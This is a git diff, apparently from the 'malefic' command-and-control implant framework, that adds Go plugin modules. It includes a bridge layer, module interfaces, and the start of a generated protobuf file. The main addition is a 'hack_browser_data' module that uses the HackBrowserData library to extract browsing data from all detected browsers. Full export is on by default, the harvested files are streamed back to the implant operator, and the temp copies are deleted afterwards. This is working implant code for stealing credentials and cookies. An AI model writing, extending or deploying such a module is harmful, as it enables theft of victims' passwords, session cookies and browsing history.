b/malefic-3rd-template/malefic-3rd-go/src/go/example/main.go new file mode 100644 index 0000000..91bb2b6 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/example/main.go @@ -0,0 +1,52 @@ +package main + +/* +#include +*/ +import "C" +import ( + malefic "malefic-core" + "unsafe" +) + +func init() { + malefic.RegisterModule(malefic.AsModule(&handler{})) +} + +type handler struct{} + +func (h *handler) Name() string { return "example_go" } + +func (h *handler) Handle(taskId uint32, req *malefic.Request) (*malefic.Response, error) { + return &malefic.Response{ + Output: "hello from golang module, input: " + req.Input, + }, nil +} + +//export GoModuleName +func GoModuleName() *C.char { + return C.CString(malefic.GetModule().Name()) +} + +//export GoModuleSend +func GoModuleSend(taskId C.uint, data *C.char, dataLen C.int) C.int { + return C.int(malefic.BridgeSend(uint32(taskId), C.GoBytes(unsafe.Pointer(data), dataLen))) +} + +//export GoModuleRecv +func GoModuleRecv(taskId C.uint, outLen *C.int, status *C.int) *C.char { + out, st := malefic.BridgeRecv(uint32(taskId)) + *status = C.int(st) + if out == nil { + return nil + } + *outLen = C.int(len(out)) + return (*C.char)(C.CBytes(out)) +} + +//export GoModuleCloseInput +func GoModuleCloseInput(taskId C.uint) { + malefic.CloseSessionInput(uint32(taskId)) +} + +func main() {} diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/go.mod b/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/go.mod new file mode 100644 index 0000000..829142c --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/go.mod @@ -0,0 +1,40 @@ +module malefic-hackbrowser + +go 1.23.1 + +require ( + github.com/moond4rk/hackbrowserdata v0.4.6 + malefic-core v0.0.0 +) + +require ( + github.com/aperturerobotics/json-iterator-lite v1.0.0 // indirect + github.com/aperturerobotics/protobuf-go-lite v0.12.1 // indirect + github.com/dustin/go-humanize v1.0.1 // indirect + github.com/gocarina/gocsv v0.0.0-20231116093920-b87c2d0e983a // indirect + github.com/godbus/dbus/v5 v5.1.0 // indirect + github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db // indirect + github.com/google/uuid v1.6.0 // indirect + github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect + github.com/mattn/go-isatty v0.0.20 // indirect + github.com/ncruces/go-strftime v0.1.9 // indirect + github.com/otiai10/copy v1.14.0 // indirect + github.com/ppacher/go-dbus-keyring v1.0.1 // indirect + github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect + github.com/syndtr/goleveldb v1.0.0 // indirect + github.com/tidwall/gjson v1.17.1 // indirect + github.com/tidwall/match v1.1.1 // indirect + github.com/tidwall/pretty v1.2.0 // indirect + golang.org/x/sync v0.3.0 // indirect + golang.org/x/sys v0.19.0 // indirect + golang.org/x/text v0.14.0 // indirect + modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect + modernc.org/libc v1.52.1 // indirect + modernc.org/mathutil v1.6.0 // indirect + modernc.org/memory v1.8.0 // indirect + modernc.org/sqlite v1.30.1 // indirect + modernc.org/strutil v1.2.0 // indirect + modernc.org/token v1.1.0 // indirect +) + +replace malefic-core => ../malefic diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/go.sum b/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/go.sum new file mode 100644 index 0000000..d5004ce --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/go.sum @@ -0,0 +1,111 @@ +github.com/DATA-DOG/go-sqlmock v1.5.2 h1:OcvFkGmslmlZibjAjaHm3L//6LiuBgolP7OputlJIzU= +github.com/DATA-DOG/go-sqlmock v1.5.2/go.mod h1:88MAG/4G7SMwSE3CeA0ZKzrT5CiOU3OJ+JlNzwDqpNU= +github.com/aperturerobotics/json-iterator-lite v1.0.0 h1:cihbrYWoK/S2RYXhJLpDZd+GUjVvFJN+D3w1VOqqHRI= +github.com/aperturerobotics/json-iterator-lite v1.0.0/go.mod h1:snaApCEDtrHHP6UWSLKiYNOZU9A5NyzccKenx9oZEzg= +github.com/aperturerobotics/protobuf-go-lite v0.12.1 h1:o9of87F/LFS2p5xfq32CrU99dvfqIAalTP7ZzoZK6Kg= +github.com/aperturerobotics/protobuf-go-lite v0.12.1/go.mod h1:lGH3s5ArCTXKI4wJdlNpaybUtwSjfAG0vdWjxOfMcF8= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= +github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= +github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= +github.com/gocarina/gocsv v0.0.0-20231116093920-b87c2d0e983a h1:RYfmiM0zluBJOiPDJseKLEN4BapJ42uSi9SZBQ2YyiA= +github.com/gocarina/gocsv v0.0.0-20231116093920-b87c2d0e983a/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI= +github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= +github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk= +github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= +github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db h1:woRePGFeVFfLKN/pOkfl+p/TAqKOfFu+7KPlMVpok/w= +github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/google/pprof v0.0.0-20240409012703-83162a5b38cd h1:gbpYu9NMq8jhDVbvlGkMFWCjLFlqqEZjEmObmhUy6Vo= +github.com/google/pprof v0.0.0-20240409012703-83162a5b38cd/go.mod h1:kf6iHlnVGwgKolg33glAes7Yg/8iWP8ukqeldJSO7jw= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= +github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= +github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI= +github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/moond4rk/hackbrowserdata v0.4.6 h1:3gP8O0p8Nh1r4TIYCRLsn8sAV+WLOVtxoF3evh5E1bM= +github.com/moond4rk/hackbrowserdata v0.4.6/go.mod h1:iEVr4LPCfWgP7lieJFvHil/grmmh4uYyG3ZWdRt3r/c= +github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4= +github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls= +github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= +github.com/onsi/ginkgo v1.7.0 h1:WSHQ+IS43OoUrWtD1/bbclrwK8TTH5hzp+umCiuxHgs= +github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= +github.com/onsi/gomega v1.4.3 h1:RE1xgDvH7imwFD45h+u2SgIfERHlS2yNG4DObb5BSKU= +github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= +github.com/otiai10/copy v1.14.0 h1:dCI/t1iTdYGtkvCuBG2BgR6KZa83PTclw4U5n2wAllU= +github.com/otiai10/copy v1.14.0/go.mod h1:ECfuL02W+/FkTWZWgQqXPWZgW9oeKCSQ5qVfSc4qc4w= +github.com/otiai10/mint v1.5.1 h1:XaPLeE+9vGbuyEHem1JNk3bYc7KKqyI/na0/mLd/Kks= +github.com/otiai10/mint v1.5.1/go.mod h1:MJm72SBthJjz8qhefc4z1PYEieWmy8Bku7CjcAqyUSM= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/ppacher/go-dbus-keyring v1.0.1 h1:dM4dMfP5w9MxY+foFHCQiN7izEGpFdKr3tZeMGmvqD0= +github.com/ppacher/go-dbus-keyring v1.0.1/go.mod h1:JEmkRwBVPBFkOHedAsoZALWmhNJxR/R/ykkFpbEHtGE= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE= +github.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ= +github.com/tidwall/gjson v1.17.1 h1:wlYEnwqAHgzmhNUFfw7Xalt2JzQvsMx2Se4PcoFCT/U= +github.com/tidwall/gjson v1.17.1/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= +github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= +github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= +github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs= +github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= +golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic= +golang.org/x/mod v0.16.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= +golang.org/x/net v0.0.0-20180906233101-161cd47e91fd h1:nTDtHvHSdCn1m6ITfMRqtOd/9+7a3s8RBNOZ3eYZzJA= +golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E= +golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= +golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o= +golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= +golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +golang.org/x/tools v0.19.0 h1:tfGCXNR1OsFG+sVdLAitlpjAvD/I6dHDKnYrpEZUHkw= +golang.org/x/tools v0.19.0/go.mod h1:qoJWxmGSIBmAeriMx19ogtrEPrGtDbPK634QFIcLAhc= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4= +gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= +gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= +gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= +gopkg.in/yaml.v2 v2.2.1 h1:mUhvW9EsL+naU5Q3cakzfE91YhliOondGd6ZrsDBHQE= +gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +modernc.org/cc/v4 v4.21.2 h1:dycHFB/jDc3IyacKipCNSDrjIC0Lm1hyoWOZTRR20Lk= +modernc.org/cc/v4 v4.21.2/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ= +modernc.org/ccgo/v4 v4.17.10 h1:6wrtRozgrhCxieCeJh85QsxkX/2FFrT9hdaWPlbn4Zo= +modernc.org/ccgo/v4 v4.17.10/go.mod h1:0NBHgsqTTpm9cA5z2ccErvGZmtntSM9qD2kFAs6pjXM= +modernc.org/fileutil v1.3.0 h1:gQ5SIzK3H9kdfai/5x41oQiKValumqNTDXMvKo62HvE= +modernc.org/fileutil v1.3.0/go.mod h1:XatxS8fZi3pS8/hKG2GH/ArUogfxjpEKs3Ku3aK4JyQ= +modernc.org/gc/v2 v2.4.1 h1:9cNzOqPyMJBvrUipmynX0ZohMhcxPtMccYgGOJdOiBw= +modernc.org/gc/v2 v2.4.1/go.mod h1:wzN5dK1AzVGoH6XOzc3YZ+ey/jPgYHLuVckd62P0GYU= +modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 h1:5D53IMaUuA5InSeMu9eJtlQXS2NxAhyWQvkKEgXZhHI= +modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6/go.mod h1:Qz0X07sNOR1jWYCrJMEnbW/X55x206Q7Vt4mz6/wHp4= +modernc.org/libc v1.52.1 h1:uau0VoiT5hnR+SpoWekCKbLqm7v6dhRL3hI+NQhgN3M= +modernc.org/libc v1.52.1/go.mod h1:HR4nVzFDSDizP620zcMCgjb1/8xk2lg5p/8yjfGv1IQ= +modernc.org/mathutil v1.6.0 h1:fRe9+AmYlaej+64JsEEhoWuAYBkOtQiMEU7n/XgfYi4= +modernc.org/mathutil v1.6.0/go.mod h1:Ui5Q9q1TR2gFm0AQRqQUaBWFLAhQpCwNcuhBOSedWPo= +modernc.org/memory v1.8.0 h1:IqGTL6eFMaDZZhEWwcREgeMXYwmW83LYW8cROZYkg+E= +modernc.org/memory v1.8.0/go.mod h1:XPZ936zp5OMKGWPqbD3JShgd/ZoQ7899TUuQqxY+peU= +modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4= +modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= +modernc.org/sortutil v1.2.0 h1:jQiD3PfS2REGJNzNCMMaLSp/wdMNieTbKX920Cqdgqc= +modernc.org/sortutil v1.2.0/go.mod h1:TKU2s7kJMf1AE84OoiGppNHJwvB753OYfNl2WRb++Ss= +modernc.org/sqlite v1.30.1 h1:YFhPVfu2iIgUf9kuA1CR7iiHdcEEsI2i+yjRYHscyxk= +modernc.org/sqlite v1.30.1/go.mod h1:DUmsiWQDaAvU4abhc/N+djlom/L2o8f7gZ95RCvyoLU= +modernc.org/strutil v1.2.0 h1:agBi9dp1I+eOnxXeiZawM8F4LawKv4NzGWSaLfyeNZA= +modernc.org/strutil v1.2.0/go.mod h1:/mdcBmfOibveCTBxUl5B5l6W+TTH1FXPLHZE6bTosX0= +modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y= +modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/hackbrowser.go b/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/hackbrowser.go new file mode 100644 index 0000000..0b18ad5 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/hackbrowser.go @@ -0,0 +1,117 @@ +package main + +import ( + "fmt" + malefic "malefic-core" + "os" + "path/filepath" + "strings" + + "github.com/moond4rk/hackbrowserdata/browser" +) + +// Module wraps HackBrowserData as a streaming GoModule. +// Request.Input = browser name ("all", "chrome", "firefox", …) +// Request.Params = {"profile_path": "…", "format": "json"|"csv", "full_export": "true"|"false"} +type Module struct{} + +func (m *Module) Name() string { return "hack_browser_data" } + +func (m *Module) Run(taskId uint32, input <-chan *malefic.Request, output chan<- *malefic.Response) { + for req := range input { + browserName := req.Input + if browserName == "" { + browserName = "all" + } + + profilePath := "" + format := "json" + fullExport := true + if req.Params != nil { + if v, ok := req.Params["profile_path"]; ok { + profilePath = v + } + if v, ok := req.Params["format"]; ok { + format = v + } + if v, ok := req.Params["full_export"]; ok && v == "false" { + fullExport = false + } + } + + browsers, err := browser.PickBrowsers(browserName, profilePath) + if err != nil { + output <- &malefic.Response{Error: fmt.Sprintf("pick browsers: %v", err)} + continue + } + if len(browsers) == 0 { + output <- &malefic.Response{Error: "no browsers found"} + continue + } + + tmpDir, err := os.MkdirTemp("", fmt.Sprintf("hbd-%d-*", taskId)) + if err != nil { + output <- &malefic.Response{Error: fmt.Sprintf("mkdtemp: %v", err)} + continue + } + + for _, b := range browsers { + data, err := b.BrowsingData(fullExport) + if err != nil { + output <- &malefic.Response{ + Error: fmt.Sprintf("browser %s: %v", b.Name(), err), + Kv: map[string]string{"browser": b.Name()}, + } + continue + } + data.Output(tmpDir, b.Name(), format) + } + + entries, _ := os.ReadDir(tmpDir) + for _, entry := range entries { + if entry.IsDir() { + continue + } + fpath := filepath.Join(tmpDir, entry.Name()) + content, err := os.ReadFile(fpath) + if err != nil { + continue + } + trimmed := strings.TrimSpace(string(content)) + if trimmed == "" || trimmed == "[]" || trimmed == "{}" { + continue + } + output <- &malefic.Response{ + Output: string(content), + Kv: map[string]string{ + "browser": extractBrowserName(entry.Name()), + "file": entry.Name(), + }, + } + } + + os.RemoveAll(tmpDir) + + output <- &malefic.Response{ + Output: fmt.Sprintf("done: %d browsers processed", len(browsers)), + Kv: map[string]string{"status": "complete"}, + Array: browserNames(browsers), + } + } +} + +func extractBrowserName(filename string) string { + parts := strings.SplitN(filename, "_", 2) + if len(parts) > 0 { + return parts[0] + } + return filename +} + +func browserNames(browsers []browser.Browser) []string { + names := make([]string, 0, len(browsers)) + for _, b := range browsers { + names = append(names, b.Name()) + } + return names +} diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/main.go b/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/main.go new file mode 100644 index 0000000..f64f170 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/main.go @@ -0,0 +1,42 @@ +package main + +/* +#include +*/ +import "C" +import ( + malefic "malefic-core" + "unsafe" +) + +func init() { + malefic.RegisterModule(&Module{}) +} + +//export GoModuleName +func GoModuleName() *C.char { + return C.CString(malefic.GetModule().Name()) +} + +//export GoModuleSend +func GoModuleSend(taskId C.uint, data *C.char, dataLen C.int) C.int { + return C.int(malefic.BridgeSend(uint32(taskId), C.GoBytes(unsafe.Pointer(data), dataLen))) +} + +//export GoModuleRecv +func GoModuleRecv(taskId C.uint, outLen *C.int, status *C.int) *C.char { + out, st := malefic.BridgeRecv(uint32(taskId)) + *status = C.int(st) + if out == nil { + return nil + } + *outLen = C.int(len(out)) + return (*C.char)(C.CBytes(out)) +} + +//export GoModuleCloseInput +func GoModuleCloseInput(taskId C.uint) { + malefic.CloseSessionInput(uint32(taskId)) +} + +func main() {} diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/malefic/bridge.go b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/bridge.go new file mode 100644 index 0000000..a46dec1 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/bridge.go @@ -0,0 +1,86 @@ +package malefic + +import "sync" + +var registeredModule GoModule + +func RegisterModule(m GoModule) { registeredModule = m } +func GetModule() GoModule { return registeredModule } + +// Session holds per-task channels for bidirectional streaming. +type Session struct { + Input chan *Request + Output chan *Response + Done chan struct{} +} + +var sessions sync.Map // map[uint32]*Session + +// GetOrCreateSession returns the session for taskId, creating one on first access. +func GetOrCreateSession(taskId uint32) *Session { + if v, ok := sessions.Load(taskId); ok { + return v.(*Session) + } + s := &Session{ + Input: make(chan *Request, 16), + Output: make(chan *Response, 16), + Done: make(chan struct{}), + } + actual, loaded := sessions.LoadOrStore(taskId, s) + if loaded { + return actual.(*Session) + } + go func() { + defer close(s.Done) + defer close(s.Output) + registeredModule.Run(taskId, s.Input, s.Output) + }() + return s +} + +// DeleteSession removes the session for taskId. +func DeleteSession(taskId uint32) { + sessions.Delete(taskId) +} + +// CloseSessionInput closes the input channel for the given task. +func CloseSessionInput(taskId uint32) { + v, ok := sessions.Load(taskId) + if !ok { + return + } + s := v.(*Session) + close(s.Input) +} + +// BridgeSend deserializes data into a Request and sends it to the session. +// Returns 0 on success, -1 on failure. +func BridgeSend(taskId uint32, data []byte) int { + s := GetOrCreateSession(taskId) + req := &Request{} + if err := req.UnmarshalVT(data); err != nil { + return -1 + } + select { + case s.Input <- req: + return 0 + case <-s.Done: + return -1 + } +} + +// BridgeRecv reads the next response from the session. +// Returns (data, status) where status: 0=ok, 1=done, 2=marshal error. +func BridgeRecv(taskId uint32) ([]byte, int) { + s := GetOrCreateSession(taskId) + resp, ok := <-s.Output + if !ok { + DeleteSession(taskId) + return nil, 1 + } + out, err := resp.MarshalVT() + if err != nil { + return nil, 2 + } + return out, 0 +} diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/malefic/go.mod b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/go.mod new file mode 100644 index 0000000..51146f3 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/go.mod @@ -0,0 +1,7 @@ +module malefic-core + +go 1.23.1 + +require github.com/aperturerobotics/protobuf-go-lite v0.12.1 + +require github.com/aperturerobotics/json-iterator-lite v1.0.0 // indirect diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/malefic/go.sum b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/go.sum new file mode 100644 index 0000000..c5012b8 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/go.sum @@ -0,0 +1,14 @@ +github.com/aperturerobotics/json-iterator-lite v1.0.0 h1:cihbrYWoK/S2RYXhJLpDZd+GUjVvFJN+D3w1VOqqHRI= +github.com/aperturerobotics/json-iterator-lite v1.0.0/go.mod h1:snaApCEDtrHHP6UWSLKiYNOZU9A5NyzccKenx9oZEzg= +github.com/aperturerobotics/protobuf-go-lite v0.12.1 h1:o9of87F/LFS2p5xfq32CrU99dvfqIAalTP7ZzoZK6Kg= +github.com/aperturerobotics/protobuf-go-lite v0.12.1/go.mod h1:lGH3s5ArCTXKI4wJdlNpaybUtwSjfAG0vdWjxOfMcF8= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.go b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.go new file mode 100644 index 0000000..1128867 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.go @@ -0,0 +1,40 @@ +package malefic + +// GoModule is the low-level streaming interface. +// Use this directly only when you need bidirectional streaming (multiple responses per request). +// For simple request→response modules, implement GoModuleHandler instead. +type GoModule interface { + Name() string + Run(taskId uint32, input <-chan *Request, output chan<- *Response) +} + +// GoModuleHandler is the simple interface for one-shot request→response modules. +// Implement this to avoid dealing with channels — just like check_request! on the Rust side. +type GoModuleHandler interface { + Name() string + Handle(taskId uint32, req *Request) (*Response, error) +} + +// AsModule wraps a GoModuleHandler into a GoModule. +func AsModule(h GoModuleHandler) GoModule { + return &handlerAdapter{h} +} + +type handlerAdapter struct { + handler GoModuleHandler +} + +func (a *handlerAdapter) Name() string { return a.handler.Name() } + +func (a *handlerAdapter) Run(taskId uint32, input <-chan *Request, output chan<- *Response) { + for req := range input { + resp, err := a.handler.Handle(taskId, req) + if err != nil { + output <- &Response{Error: err.Error()} + continue + } + if resp != nil { + output <- resp + } + } +} diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.pb.go b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.pb.go new file mode 100644 index 0000000..00604e2 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.pb.go @@ -0,0 +1,42383 @@ +// Code generated by protoc-gen-go-lite. DO NOT EDIT. +// protoc-gen-go-lite version: v0.12.1 +// source: malefic/module.proto + +package malefic + +import ( + base64 "encoding/base64" + binary "encoding/binary" + fmt "fmt" + protobuf_go_lite "github.com/aperturerobotics/protobuf-go-lite" + json "github.com/aperturerobotics/protobuf-go-lite/json" + io "io" + maps "maps" + math "math" + slices "slices" + strconv "strconv" + strings "strings" + unsafe "unsafe" +) + +type Ping struct { + unknownFields []byte + Nonce int32 `protobuf:"varint,1,opt,name=nonce,proto3" json:"nonce,omitempty"` +} + +func (x *Ping) Reset() { + *x = Ping{} +} + +func (*Ping) ProtoMessage() {} + +func (x *Ping) GetNonce() int32 { + if x != nil { + return x.Nonce + } + return 0 +} + +type Register struct { + unknownFields []byte + Name string 